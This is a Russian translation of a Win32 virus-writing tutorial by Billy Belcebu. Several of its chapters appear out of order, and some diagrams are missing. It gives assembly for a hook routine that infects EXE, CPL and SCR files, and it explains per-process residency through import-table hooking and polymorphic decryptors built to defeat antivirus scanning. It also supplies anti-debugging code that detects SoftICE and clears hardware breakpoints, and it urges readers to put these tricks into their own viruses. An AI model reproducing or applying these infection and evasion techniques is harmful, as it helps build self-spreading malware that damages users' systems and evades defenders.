DoHookStuff: pushad ; Push'им все регистры pushfd ; Push'им все флаги call GetDeltaOffset ; Получаем дельта-смещение в EBP mov edx,[esp+2Ch] ; Получаем имя файла, который нужно заразить mov esi,edx ; ESI = EDX = file to check reach_dot: lodsb ; Получаем символ or al,al ; Найден NULL? Дерьмо... jz ErrorDoHookStuff ; Тогда сваливаем cmp al,"." ; Найдена точка? Интересно... jnz reach_dot ; Если нет, следующий оборот цикла dec esi ; Фиксим lodsd ; Помещаем расширение в EAX or eax,20202020h ; Приводим строку к нижнему регистру cmp eax,"exe." ; Это EXE? Заражаем!!! jz InfectWithHookStuff cmp eax,"lpc." ; Это CPL? Заражаем!!!! jz InfectWithHookStuff cmp eax,"rcs." ; Это SCR? Заражаем!!!! jnz ErrorDoHookStuff InfectWithHookStuff: xchg edi,edx ; EDI = имя файла, который нужно заразить call InfectEDI ; Заражаем файл!! ;) ErrorDoHookStuff: popfd ; Восстанавливаем все предохраненные popad ; регистры, чтобы ничего не случилось :) push ebp call GetDeltaOffset ; Получаем дельта-смещение xchg eax,ebp ; Помещаем дельта-смещение в EAX pop ebp ret

;---[ CUT HERE ]-------------------------------------------------------------

Вот некоторые API-функции, которые можно перехватить с помощью этой универсальной процедуры: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA, CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA, CopyFileExA, OpenFile.



Уровни полиморфизма


У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Существует система деления полиморфных вирусов на уровни, согласно сложности кода декриптора этих вирусов. Эта система была представлена д-ром Аланом Соломоном, а затем улучшена Весселином Бонтчевым.

Уровень 1: У вируса есть набор декрипторов с постоянным кодом, один из которых выбирается при заражении. Такие вирусы называеются "полуполиморфными" или "олигоморфными".

Примеры: "Cheeba", "Slovakia", "Whale".

Уровень 2: декриптор вируса содержит одну или более постоянную инструкцию, остальное изменяется.

Уровень 3: декриптор содержит неиспользуемые функции - "мусор", такой как NOP, CLI, STI и так далее.

Уровень 4: декриптор использует равнозначные инструкции и изменяет их порядок. Алгоритм расшифровки остается неизменным.

Уровень 5: используются все вышеперечисленные техники, алгоритм расшифровки меняется, возможно неоднократное шифрование кода вируса и даже частичное шифрование кода декриптора.

Уровень 6: пермутирующие вирусы. Основной код вируса также меняется, он поделен на блоки, которые меняют свое местоположение при заражении. При этом вирус продолжает работать. Некоторые вирусы могут быть незашифрованны.

У такого разделения есть свои недостатки, так как основной критерий - это возможность детектирования вируса согласно коду генератора с помощью условной техники вирусных масок:

Уровень 1: чтобы обнаружить вирус достаточно иметь несколько масок

Уровень 2: обнаружение вируса производится с помощью маски, используя "wild card'ы".

Уровень 3: обнаружение вируса производиться с помощью маски после удаления "мусорных" инструкций.

Уровень 4: маска содержит несколько версий возможного кода, то есть он становится алгоритмичным

Уровень 5: невозможность обнаружения вируса с помощью масок.

Недостаточность такого деления продемонстрирована в вирусе третьего уровня полиморфизма, который называется соответствующим образом - "Level3". Этот вирус, будучи одним из самых сложных полиморфных вирусов, попадает в третью категорию, потому что у него постоянный алгоритм расшифровки, предшествуемый большим количеством мусорных инструкций. Тем не менее, в этом вирусе алгоритм генерации мусора близок к совершенству: в коде декриптора можно найти почти все инструкции i8086.


Если делить вирусы на уровни с точки зрения антивирусов, использующие системы автоматической расшифровки кода вирусов (эмуляторов), тогда это деление будет зависеть от сложности кода. Другие техники обнаружения вирусов также возможны, например, расшифровка с помощью основных законов математики и так далее.

Поэтому, на мой взгляд, деление будет более объективным, если кроме вирусной маски в расчет будут приниматься другие параметры.

1. Степень сложности полиморфного кода (процент всех инструкций процессора, которые можно встретить в коде декриптора) 2. Использование техник антиэмуляции 3. Постоянность алгоритма расшифровки 4. Постоянность размера декриптора

Я не буду объяснять эти вещи более детально, поскольку в результате это заставить вирмейкеров создавать монстров подобного рода.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ха-ха, Евгений. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу? :)


Установка кадров стека


Давайте посмотрим, как это выглядит неоптимизированно:

push ebp ; 1 байт mov ebp,esp ; 2 байта sub esp,20h ; 3 байта

А если мы оптимизируем...

enter 20h,00h ; 4 байта

Интересно, не правда ли? :)



В заключение


Я ожидаю, что вы поняли по крайней мере первые приемы оптимизации в этой главе, так как именно пренебрежение ими сводит меня с ума. Я знаю, что я далеко не лучший в оптимизировании. Для меня размер не играет роли. Как бы то ни было, очевидных оптимизаций следует придерживаться, по крайней мере, чтобы продемонстрировать, что вы знаете что-то в этой жизни. Меньше ненужных байт - это в пользу вируса, поверьте мне. И не надо приводить мне аргументов, которые приводил QuantumG в своем вирусе 'Next Step'. Оптимизации, которые я вам показал, не приведут к потере стабильности. Просто попытайтесь их использовать, ок? Это очень логично, ребята.

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>



Важные сведения


Я думаю, что должен рассказать об этом вначале данного пособия, как бы то ни было, лучше об этом знать, чем не знать :). Хорошо, давайте поговорим о внутренностях наших Win32-операционных систем.

Во-первых, вы должны уяснить несколько концепций. Давайте начнем с селекторов. Что такое селектор? Это очень просто. Это очень большой сегмент, и эта форма Win32-памяти также называется плоской памятью. Мы можем напрямую обращаться к 4 гигабайтам памяти (4.294.967.295 байтов) используя только 32-х битные смещения. И как организованна эта память? Давайте взглянем на одну из диаграмм, которые я так люблю делать:

Обратите внимание на одну вещь: у WinNT последние две секции находятся отдельно от первых двух. Ладно, теперь я помещу определения, которые вы должны знать. В остальной части туториала я буду исходить из того, что вы о них помните.

¤ VA:

VA расшифровывается как Virtual Address (виртуальный адрес). Это адрес чего-нибудь, но в памяти (помните, что в Windowz вещи на диске и в памяти не обязательно эквиваленты).

¤ RVA:

RVA расшифровывается как Relative Virtual Address. Очень важно четко это понять. RVA - это смещение на что-то, относительно того места, куда промэппирован файл (вами или системой).

¤ RAW-данные:

RAW-данные - это имя, которое мы используем для обозначения данных так, как они есть физически на диске (данные на диске != данные в памяти).

¤ Виртуальные данные:

Виртуальные данные - это имя, которым мы называем данные, когда они загруженны системой в память.

¤ Файловый мэппинг:

Техника, реализованная во всех операционных системах Win32, которая позволяет производить различные действия с файлом быстрее и затрачивать при этом меньше памяти, а также она более удобна, чем способы, практиковавшиеся в DOS. Все, что мы изменяем в памяти, также изменяется на диске. Файловый мэппинг - это единственный способ обмениваться информацией между различными процессами, который работает во всех Win32-операционных системах.



Веселье с push'ами


Почти то же, что и выше, но с push'ем. Давайте посмотрим, что надо и не надо делать:

mov eax,dword ptr [ebp+variable] ; 6 байтов push eax ; 1 байт

Мы можем сделать то же самое, но на 1 байт меньше. Смотрите.

push dword ptr [ebp+variable] ; 6 байтов

Круто, правда? ;) Ладно, если нам нужно push'ить много раз (если значение велико, более оптимизированно, будет более оптимизированно push'ить значение 2+ раза, а если значение мало, более оптимизированно будет push'ить его, когда вам нужно сделать это 3+ раза) одну и ту же переменную, более выгодно будет поместить ее в регистр и push'ить его. Например, если нам нужно заpushить он 3 раза, более правильным будет сксорить регистр сам с собой и затем заpushить регистр. Давайте посмотрим:

push 00000000h ; 2 байта push 00000000h ; 2 байта push 00000000h ; 2 байта

И давайте посмотрим, как прооптимизировать это:

xor eax,eax ; 2 bytes push eax ; 1 byte push eax ; 1 byte push eax ; 1 byte

Часто во время использования SEH нам бывает необходимо запушить fs:[0] и так далее: давайте посмотрим, как это можно оптимизировать:

push dword ptr fs:[00000000h] ; 6 байтов ; 666? Хахаха! mov fs:[00000000h],esp ; 6 байтов [...] pop dword ptr fs:[00000000h] ; 6 байтов

Вместо это нам следует сделать следующее:

xor eax,eax ; 2 байта push dword ptr fs:[eax] ; 3 байта mov fs:[eax],esp ; 3 байта [...] pop dword ptr fs:[eax] ; 3 байта

Кажется, что у нас на 7 байтов меньше! Вау!!!



Очень важно хорошо представлять себе


Очень важно хорошо представлять себе структуру заголовка PE-файла, чтобы писать наши виндовозные вирусы. В этой главе я перечислю все, что считаю наиболее важным, но здесь не вся информация о PE-файле, поэтому рекомендую взглянуть на документы, упомянутые в разделе "Что потребуется...".

Давайте рассмотрим каждую из этих частей поподробнее. Вот диаграмма в стиле Micheal J. O'Leary.

Теперь, когда вы получили общее представление о заголовке PE, эта чудесная (но несколько усложненная) вещь станет нашей новой целью. Хорошо-хорошо, у вас есть уже общее представление, но вам нужно знать внутреннюю структуру заголовка PE. Приготовьтесь!


Перпроцессная резидентность впервые была реализованна Jacky Qwerty из вирусной группы 29A в 1997 году. Кроме того, что это был первый (по мнению средств массовой информации, а не в реальности - Win32.Jacky) Win32-вирус, он также был первым резидентным Win32-вирусом, использующим никогда ранее не виданную технику: перпроцессную резидентность. Теперь вы, по-видимому, удивляетесь: 'Что же такое, ядрена матрена, эта перпроцессная резидентность?'. Я уже объяснил это в одной из статей журнала DDT#1, но здесь я проведу более глубокий анализ этого метода. Когда вы вызываете функцию API, вы используете адрес, сохраненный системой во время выполнения в таблице импортов, и меняете адрес функции API на адрес своего собственного кода, заражающего файлы при вызове перехваченной функции. Я знаю, что это немного путано и тяжело понять, но в вирмейкерстве все вначале выглядит сложным, хотя потом становится очень простым :).
--[DDT#1.2_4]---------------------------------------------------------------
Это единственный известный мне способ сделать Win32 вирусы резидентными. Да, вы правильно прочитали: Win32, а не Win9X. Этот способ будет также работать и под WinNT. Во-первых, вы должны знать, что такое процесс. Вещь, которая меня озадачила больше всего, что люди, начавшие программировать под Win32, знают, что это такое и часто это используют, но не знают его название. В общем, когда мы запускаем Windows-приложение, мы создаем процесс :). Очень легко поянть. И в чем состоит данная резидентность? Сначала мы должны зарезервировать память, куда поместить тело вируса. Это можно сделать с помощью функции "VirtualAlloc". Но... как перехватить функции API? Наиболее полезное решение, приходящее мне в голову состоит в том, чтобы изменять адреса в таблице импортов. С моей точки зрения, это единственный возможный путь. Поскольку в импорты можно писать, наша задача во многом облегчается, так как нам не нужна помощь никаких функций VxDCall0...
У этого вида резидентности есть и слабая сторона... так как мы опираемся на таблицу импортов, мы можем работать только с импортированными функциям, и скорость заражения очень сильно зависит от файла, который мы заразили. Например, если мы заразим CMD.EXE в WinNT и у нас будут обработчики FindFirstFile(A/W) и FindNextFile(A/W), то это позволит заразить все файлы, найденные с помощью этих функций. Это сделает наш вирус очень заразным, так как эти функции будут использоваться, когда мы выполним команду DIR под WinNT. Как бы то ни было, использовать одну перпроцессную резидентность не стоит, чтобы наш вирус был более заразным, необходимо использовать другие методы, например как в Win32.Cabanas, где заражались файлы в \WINDOWS и \WINDOWS\SYSTEM. Другим хорошим способом может быть заражение определенных файлов при первом запуске в системе...
--[DDT#1.2_4]---------------------------------------------------------------
Я написал это в декабре 1998. С тех пор я понял, как это можно сделать без резервирования памяти, но тем не менее я помещу код так, как есть, чтобы вы поняли лучше.


Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна.

Вычисление VirtualSize


Это название является предлогом, чтобы показать вам другие странные опкоды, которые очень полезны для вычисления VirtualSize, так как мы должны добавить к нему значение и получить значение, которые было там до добавления. Конечно, опкод, о котором я говорю - это XADD. Ладно, ладно, давайте посмотрим неоптимизированное вычисление VirtualSize (я предполагаю, что ESI - это указатель на заголовок последней секции):

mov eax,[esi+8] ; 3 байта push eax ; 1 байт add dword ptr [esi+8],virus_size ; 7 байт pop eax ; 1 байт

А теперь давайте посмотрим, как это будет с XADD:

mov eax,virus_size ; 5 байтов xadd dword ptr [esi+8],eax ; 4 байта

С помощью XADD мы сохранили 3 байта ;). Между прочим, XADD - это инструкция 486+.



Вызов адреса, сохраненного в переменной


Если еще одна вещь, которую делают некоторые VX-еры, и из-за которой я схожу с ума и кричу. Давайте я вам ее напомню:

mov eax,dword ptr [ebp+ApiAddress] ; 6 байтов call eax ; 2 байта

Мы можем вызывать адрес напрямую, ребята... Это сохраняет байты и не используется лишний регистр.

call dword ptr [ebp+ApiAddress] ; 6 байтов

Снова мы избавляемся от ненужной инструкции, которая занимает 2 байта, а делаем то же самое.



Win9X: Detect SoftICE (I)


Здесь я должен поблагодарить Super/29A, потому что это именно он рассказал мне об этом методе. Я разделил его на две части: в этой мы увидим, как это сделать из Ring-0. Я не буду помещать сюда весь исходный код вируса, потому что в нем много лишнего, но вы должны знать, что данный способ работает в Ring-0 и VxDCall должен быть восстановлен из-за проблемы обратного вызова (помните?).

Ок, мы собираемся использовать сервис VMM Get_DDB, т.е. сервис равен 00010146 (VMM_Get_DDB). Давайте посмотрим информацию об этом сервисе в SDK.

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· mov eax, Device_ID mov edi, Device_Name int 20h ; VMMCall Get_DDB dd 00010146h mov [DDB], ecx

- Определяет, установлен или нет VxD для определенного устройства и возвращает DDB для этого устройства, если он инсталлирован.

- Использует ECX, флаги.

- Возвращает DDB для указанного устройства, если вызов функции прошел успешно; - в противном случае возвращается ноль.

¤ Device_ID: идентификатор устройства. Этот параметр может быть равен нулю для именованных устройств.

¤ Device_Name: восьмисимвольное имя устройства (может выравниваться до этого размера пробелами). Этот параметр требуется только, если Device_ID равен нулю. Имя устройства чувствительно к регистру. -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Вы, наверное, думаете, что все это значит. Очень просто. Поле Device_ID в VxD SoftIce'а всегда постоянно, так как оно зарегистрировано в Micro$oft'е, что мы можем использовать в качестве оружия против чудесного SoftIce, Его Device_ID всегда равен 202h. Поэтому нам нужно использовать следующий код:

mov eax,00000202h VxDCall VMM_Get_DDB xchg eax,ecx jecxz NotSoftICE jmp DetectedSoftICE

Где NotSoftICE должно быть продолжение кода вируса, а DetectedSoftICe должна обрабатывать ситуацию, если наш враг жив :). Я не предлагаю ничего деструктивного, так как, например, на моем компьютере SoftICE постоянно активен :).



Win9X: обнаружение SoftICE (II)


Ладно, далее идет другой метод для обнаружение присутствие моего возлюбленного SoftIce, но основывающегося на той же концепции, что и раньше: 202h ;). Снова я должен поблагодарить Super'а :). Ладно, в Ralph Brown Interrupt list мы можем найти очень кульный сервис в прерывании 2Fh - 1684h.

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· Ввод: AX = 1684h BX = виртуальное устройство (VxD) ID (смотри #1921) ES:DI = 0000h:0000h Возврат:ES:DI -> входная точка VxD API или 0:0, если VxD не поддерживает API Обратите внимание: некоторые драйвера устройств предоставляют приложениям определенные сервисы. Например, Virtual Display Device (VDD) предоставляет API, используемый WINOLDAP. -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Таким образом, вы помещаете BX в 202h и запускаете эту функцию. А затем говорите... "Эй, Билли... Как мне использовать прерывания?". Мой ответ... ИСПОЛЬЗУЙТЕ VxDCALL0!!!



Win9x: Убить хардверные брикпоинты отладчика


Если ваc беспокоят отладочные регистры (DR?), мы сталкиваемся с небольшой проблемой: они привилегированны в WinNT. Прием состоит в следующей простой вещи: обнулить DR0, DR1, DR2 и DR3 (они наиболее часто используются отладчиками в качестве хардверных брикпоинтов). Поэтому следующим кодом вы доставите отладчику немного неприятностей:

xor edx,edx mov dr0,edx mov dr1,edx mov dr2,edx mov dr3,edx

Хаха, разве это не смешно? :)



Win32: другой путь узнать, что мы находимся в контексте отладчика


Если вы взглянете на статью "Win95 Structures and Secrets", которая была написана Murkry/iKX и опубликована в Xine-3, вы поймете, что в регистре FS находится очень классная структура. Посмотрите поле FS:[20h]... Это 'DebugContext'. Просто сделайте следующее:

mov ecx,fs:[20h] jecxz not_being_debugger [...] <--- делайте что угодно, нас отлаживают :)

Таким образом, если FS:[20h] равен нулю, нас не отлаживают. Просто наслаждайтесь этим маленьким и простым методом, чтобы обнаруживать отладчики! Конечно, это нельзя применить к SoftIce.



Win32: обнаружение SoftICE (III)


Наконец, вас ждет окончательный и прекрасный прием... Глобальное решение проблемы нахождения SoftICE в средах Win9x и WinNT! Это очень легко, 100% базируется на API и без всяких "грязных" трюков, не идущих на пользу совместимости. И ответ спрятан не так глубоко, как вы могли бы подумать... ключ в API-функции, которую вы наверняка использовали раньше: CreateFile. Да, эта функция... разве не прекрасно? Ладно, мы должны попытаться сделать следующее:

+ SoftICE для Win9x : "\\.\SICE" + SoftICE для WinNT : "\\.\NTICE"

Если функция возвращает нам что-то, отличное от -1 (INVALID_HANDLE_VALUE), это значит, что SoftICE активен! Далее идет демонстрационная программа:

;---[ CUT HERE ]-------------------------------------------------------------

.586p .model flat

extrn CreateFileA:PROC extrn CloseHandle:PROC extrn MessageBoxA:PROC extrn ExitProcess:PROC

.data

szTitle db "SoftICE detection",0

szMessage db "SoftICE for Win9x : " answ1 db "not found!",10 db "SoftICE for WinNT : " answ2 db "not found!",10 db "(c) 1999 Billy Belcebu/iKX",0

nfnd db "found! ",10

SICE9X db "\\.\SICE",0 SICENT db "\\.\NTICE",0

.code

DetectSoftICE: push 00000000h ; Проверяем наличие SoftICE push 00000080h ; для среды окружения Win9x push 00000003h push 00000000h push 00000001h push 0C0000000h push offset SICE9X call CreateFileA

inc eax jz NoSICE9X dec eax

push eax ; Закрыть открытый файл call CloseHandle

lea edi,answ1 ; SoftICE найден! call PutFound NoSICE9X: push 00000000h ; А теперь пытаемся открыть push 00000080h ; SoftICE под WinNT... push 00000003h push 00000000h push 00000001h push 0C0000000h push offset SICENT call CreateFileA

inc eax jz NoSICENT dec eax

push eax ; Закрыть хэндл файла call CloseHandle

lea edi,answ2 ; SoftICE под WinNT найден! call PutFound NoSICENT: push 00h ; Показываем MessageBox с push offset szTitle ; результатами push offset szMessage push 00h call MessageBoxA

push 00h ; Завершаем программу call ExitProcess

PutFound: mov ecx,0Bh ; Изменяем "not found" на lea esi,nfnd ; "found"; адрес, где нужно rep movsb ; совершить изменение находится ; в EDI ret

end DetectSoftICE

;---[ CUT HERE ]-------------------------------------------------------------

Это действительно работает, поверьте мне :). Тот же метод можно применить к другим враждебным драйвером, просто сделайте небольшое исследование на этот счет.



Win32: Остановка отладчиков уровня приложения с помощью SEH


Я еще не знаю почему, но отладчики уровня приложения падают, если программа просто использует SEH. Также как и кодоэмуляторы, если вызываются исключения :). SEH, о котором я писал в DDT#1, используется для многих интересных вещей. Идите и прочитайте главу "Продвинутые Win32-техники", часть которой я посвятил SEH.

Вам потребуется сделать SEH-обработчик, который будет указывать на код, чье выполнение начнется после исключения, которого можно добиться, например, попытавшись записать что-нибудь по адресу 00000000h ;).

Хорошо, я надеюсь, что вы поняли это. Если нет... Гхрм, забудьте это ;). Также, как и методы, изложенные ранее, данный методы нельзя применить к SoftICE.



Win98/NT: обнаружение отладчиков уровня приложения (IsDebuggerPresent)


Этой API-функция нет в Win95, поэтому вам нужно будет убедиться в ее наличии. Также она работает только с отладчиками уровня приложения (например, TD32). И она работает прекрасно. Давайте посмотрим, что о ней написано в справочнике по Win32 API.

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· Функция IsDebuggerPresent сообщает, запущен ли вызвавший ее процес в контексте отладчика. Эта функция экспортируется из KERNEL32.DLL.

BOOL IsDebuggerPresent(VOID)

Параметры ---------

У этой функции нет параметров.

Возвращаемое значение ---------------------

¤ Если текущий процесс запущен в контексте отладчика, возвращаемое значение не равно нулю.

¤ Если текущий процесс не запущен в контексте отладчика, возвращаемое значение равно нулю. -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Пример, демонстрирующий этот API, очень прост. Вот он.

;---[ CUT HERE ]-------------------------------------------------------------

.586p .model flat

extrn GetProcAddress:PROC extrn GetModuleHandleA:PROC

extrn MessageBoxA:PROC extrn ExitProcess:PROC

.data

szTitle db "IsDebuggerPresent Demonstration",0 msg1 db "Application Level Debugger Found",0 msg2 db "Application Level Debugger NOT Found",0 msg3 db "Error: Couldn't get IsDebuggerPresent.",10 db "We're probably under Win95",0

@IsDebuggerPresent db "IsDebuggerPresent",0 K32 db "KERNEL32",0

.code

antidebug1: push offset K32 ; Получаем базовый адрес KERNEL32 call GetModuleHandleA or eax,eax ; Проверяем на ошибки jz error

push offset @IsDebuggerPresent ; Теперь проверяем наличие push eax ; IsDebuggerPresent. Если call GetProcAddress ; GetProcAddress возвращает ошибку, or eax,eax ; то мы считаем, что находимся в jz error ; Win95

call eax ; Вызываем IsDebuggerPresent

or eax,eax ; Если результат не равен нулю, нас jnz debugger_found ; отлаживают

debugger_not_found: push 0 ; Показываем "Debugger not found" push offset szTitle push offset msg2 push 0 call MessageBoxA jmp exit

error: push 00001010h ; Показываем "Error! We're in Win95" push offset szTitle push offset msg3 push 0 call MessageBoxA jmp exit

debugger_found: push 00001010h ; Показываем "Debugger found!" push offset szTitle push offset msg1 push 0 call MessageBoxA

exit: push 00000000h ; Выходим из программы call ExitProcess

end antidebug1

;---[ CUT HERE ]-------------------------------------------------------------

Разве не красиво? Micro$oft сделала за нас всю работу :). Но, конечно, не ожидайте, что этот метод будет работать с SoftICE ;).



+ Заголоки PE-секции +


-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Это был нормальный незараженный файл. Ниже идет тот же самый файл, но зараженный моим Aztec'ом (Вирус-пример для Ring-3, смотри ниже).

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·



+ Заголовки PE-секций +


-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Я надеюсь, что это помогло вам понять, что мы делаем, когда заражаем PE, увеличивая его последнюю секцию. Чтобы вам не сравнивать каждую из этих таблиц друг с другом, я составил для вас следующим маленький список:

Код очень прост. Для тех, кто не понимает ничего без кода, взгляните на Win32.Aztec, который полностью объяснен в следующей главе.

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>



Я бы мог привести пример


Если что-то непонятно, пишите мне (автору этого текста, а не переводчику! - прим. пер.). Я бы мог привести пример простого пер-процессного резидентного вируса, но единственный подобный вирус, который я написал, слишком сложен и у него слишком много фич, поэтому он будет для вас непонятен :).
  [C] Billy Belcebu, пер. Aquila
<<< Назад Вперед >>>

Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны!
  [C] Billy Belcebu, пер. Aquila
<<< Назад Вперед >>>

Заключительные слова


Я должен поблагодарить троих людей, которые очень сильно помогли мне во время написания моего первого вируса под Ring-0: Super, Vecna и nIgr0. Ладно, что еще сказать? Гмм... да. Ring-0 - это наш сладкий сон под Win9x. Но у него ограниченная жизнь. Даже если мы, VXеры, найдем способ получить привилегии нулевого кольца в таких системах как NT, Micro$oft сделает патч или сервис-пак, чтобы пофиксить эти возможные баги. Как бы то ни было, писать вирус нулевого кольца очень интересно. Это помогло мне больше узнать о внутреннем устройстве Windoze. Я надеюсь, что это поможет также и вам. Обратите внимание, что вирусы нулевого кольца очень заразны. Система постоянно пытается открыть какие-нибудь файлы. Просто взгляните на один из самых заразных и быстро распространяющихся вирусов нулевого кольца CIH.

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>


Я надеюсь, что вы сможете использовать эти несколько простых антиотладочных приемов в ваших вирусах без особых проблем.

  [C] Billy Belcebu, пер. Aquila

<<< Назад Вперед >>>